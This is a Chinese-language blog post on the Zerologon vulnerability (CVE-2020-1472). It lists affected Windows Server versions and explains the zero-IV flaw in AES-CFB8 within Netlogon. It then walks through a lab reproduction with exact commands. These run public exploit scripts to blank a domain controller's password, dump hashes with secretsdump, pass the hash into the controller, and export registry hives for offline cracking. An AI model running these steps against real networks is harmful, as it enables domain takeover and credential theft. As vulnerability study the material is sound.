Drunkmars's Blog

CVE-2020-1472详解

字数统计: 2k阅读时长: 7 min
2021/05/25

2020年08月12日,Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告,该漏洞编号为 CVE-2020-1472,漏洞等级:严重,漏洞评分:10分。

攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。

影响版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core installation)

Windows Server 2016

Windows Server 2016 (Server Core installation)

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

原理

Zerologon是CVE-2020-1472中标识的漏洞的名称。它来自登录过程中的一个缺陷:初始化向量(IV)始终设置为全零,而IV应该始终是一个随机数。

对于常见漏洞评分系统(CVSS),此危险漏洞的严重性为十分之十(CVSS v3.1)。有已知的主动概念验证(POC)漏洞利用,我们很可能很快会看到真实世界的攻击。

网络安全和基础架构安全局(CISA)发布了一项紧急指令,命令民用联邦机构立即修补或禁用所有受影响的Windows服务器,并警告非政府组织也要这样做。微软于2020年8月发布了两个补丁中的第一个补丁,它们需要应用于所有域控制器。

此漏洞利用了Microsoft Active Directory Netlogon远程协议(MS-NRPC)中的加密漏洞。它允许用户登录到使用NT LAN Manager(NTLM)的服务器。

此漏洞的最大问题是,MS-NRPC还用于传输某些帐户更改,例如计算机服务帐户密码。回顾其起源,可以看到添加此功能的基本原理。但是,更改这些密码的请求源中缺乏验证已成为一个重要的安全问题。

从这里开始,情况变得更糟。明智地选择了添加到MS-NRPC的加密。1883年,荷兰密码学家Aguste Kerckhoff发表了两篇题为《军事密码学》(La Cryptographie Militaire,Military Cryptography)的论文,概述了设计密码系统的6个关键原则。

其中最著名的是Kerckhoff原理,它指出我们必须对密码密钥保密。而且,我们不应该依赖算法的保密性来保护我们的数据,而应该使用众所周知的,经过测试的,久经考验的算法。

Windows NT中最初用于加密登录过程的算法是2DES,现在我们知道它存在问题。如今,MS-NRPC使用了高级加密标准(AES),该标准被认为是加密的基准。

除了选择经过验证的强大算法外,还必须选择其他设置以确保足够的强度。MS-NRPC使用一种晦涩的设置,即高级加密标准–密码反馈8位(AES-CFB8)。AES-CFB8晦涩难懂,因为它不是众所周知的,也没有经过良好的测试。

MS-NRPC中使用AES-CFB8的IV存在问题,它应该是一个随机数,但是MS-NRPC已将其固定为16个字节的零值。那不过是随机的。这是可以预见的。在可预测性的地方,密码学通常会被破坏。

攻击如何进行

此漏洞使黑客可以控制域控制器(DC),包括根DC。这可以通过更改或删除控制器上服务帐户的密码来完成。然后,黑客可以简单地导致拒绝服务或接管并拥有整个网络。

为了使攻击者能够利用此漏洞,他们必须能够与DC建立传输控制协议(TCP)会话。如果它们物理上位于网络内部,则它们可能位于用户的办公桌上或会议室等位置的开放端口上。

这些漏洞被称为内部攻击–是当今企业最昂贵的攻击。只要可以在某个地方建立立足点以建立到控制器的TCP会话,就可以从网络外部建立它们。

使用具有16个零个字节的固定IV的AES-CFB8,Tervoort发现,使用的256个密钥中的一个很可能会创建具有全零值的密文。攻击者尝试创建全零的密文的密钥数量非常少。黑客的计算机最多只需要2-3秒即可完成此操作。

那么为什么这很重要呢?

如果与DC通讯的计算机属于像往常一样一天的用户,则没有任何实际问题。会出现这种构造不正确的加密文本,但是网络身份验证过程将起作用。该问题仅在黑客试图利用系统时才出现。

在Tervoort证明的攻击中,黑客首先必须欺骗网络上客户端的凭据或密码。由于MS-NRPC中IV的实施不佳,因此只需大约256次尝试即可正确完成。

通常,在尝试三次猜测密码后,用户帐户将被锁定,但是对于计算机或计算机帐户而言,这并不适用。当计算机登录时,错误尝试密码的次数没有限制,这允许黑客在短时间内连续尝试一次攻击。黑客必须找到确实产生全零密码的密钥之一。文本。

一旦黑客欺骗了网络上计算机的身份,他们该怎么办?通过完成欺骗身份的第一步,攻击者将不知道该会话的实际加密密钥。攻击者只能通过最终击中产生全零密文的256个密钥之一来欺骗其身份。下一步是禁用“签名和密封”。

RPC签名和密封是用于MS-NRPC内传输加密的机制。这似乎是一个逻辑过程,因为我们应该加密传输中的更多数据。但是,在MS-NRPC中,这是一项可选功能,只需不在消息的标题中设置标志就可以将其关闭。

一旦签名和盖章功能关闭,邮件将以明文形式发送。黑客将能够采取他们想要的任何措施,包括删除密码或将其设置为另一个值。微软将于2021年2月发布补丁,要求签名和盖章。

第三步是更改已被欺骗的帐户的密码。被欺骗的最有效的设备将是AD服务器,最好甚至是根AD服务器。要更改密码,攻击者使用MS-NRPC中的消息NetServerPasswordSet2。

只需通过发送带有首选新密码的框架即可更改密码。最简单的方法是删除密码或将其设置为空值-黑客现在可以通过正常过程登录。

如果攻击的目标是网络上的随机计算机,则该计算机将无法登录。因此,此攻击的第一个结果就是对该计算机的拒绝服务攻击。

漏洞复现

搭建域环境(WIN2012R2为域控)

安装impacket

https://github.com/SecureAuthCorp/impacket.git

1
python setup.py install

poc检验是否存在漏洞

https://github.com/SecuraBV/CVE-2020-1472

1
python zerologon_tester.py WIN-M836NN6NU8B 192.168.10.5

exp将域控hash置空

https://github.com/dirkjanm/CVE-2020-1472

1
python cve-2020-1472-exploit.py WIN-M836NN6NU8B 192.168.10.5

进入impacket目录,使用secretsdump.py导出DC上的hash

1
python secretsdump.py drunkmars.com/WIN-M836NN6NU8B\$@192.168.10.5 -no-pass

利用获取到的域管理员hash远程登录域控

1
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:ea7937eec9ab52e6cc9528a2011ca1d8 chaji.com/Administrator@192.168.1.10

此处也可用该语句进入:

1
pth-winexe -U Administrator% aad3b435b51404eeaad3b435b51404ee:ea7937eec9ab52e6cc9528a2011ca1d8 //192.168.1.10 cmd

导出sam文件到本地离线解密

1
2
3
4
5
6
7
8
9
10
11
reg save HKLM\\SYSTEM system.save

reg save HKLM\\SAM sam.save

reg save HKLM\\SECURITY security.save

get system.save

get sam,save

get security.save

通过sam等文件获得原ntlm hash:

1
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

恢复域控hash,防止脱域

https://github.com/risksense/zerologon

1
python reinstall_original_pw.py <DC name> <DC ip> hash
CATALOG
  1. 1. 影响版本
  2. 2. 原理
  3. 3. 攻击如何进行
  4. 4. 漏洞复现
    1. 4.1. 搭建域环境(WIN2012R2为域控)
    2. 4.2. 安装impacket
    3. 4.3. poc检验是否存在漏洞
    4. 4.4. exp将域控hash置空
    5. 4.5. 进入impacket目录,使用secretsdump.py导出DC上的hash
    6. 4.6. 利用获取到的域管理员hash远程登录域控
    7. 4.7. 导出sam文件到本地离线解密
    8. 4.8. 通过sam等文件获得原ntlm hash:
    9. 4.9. 恢复域控hash,防止脱域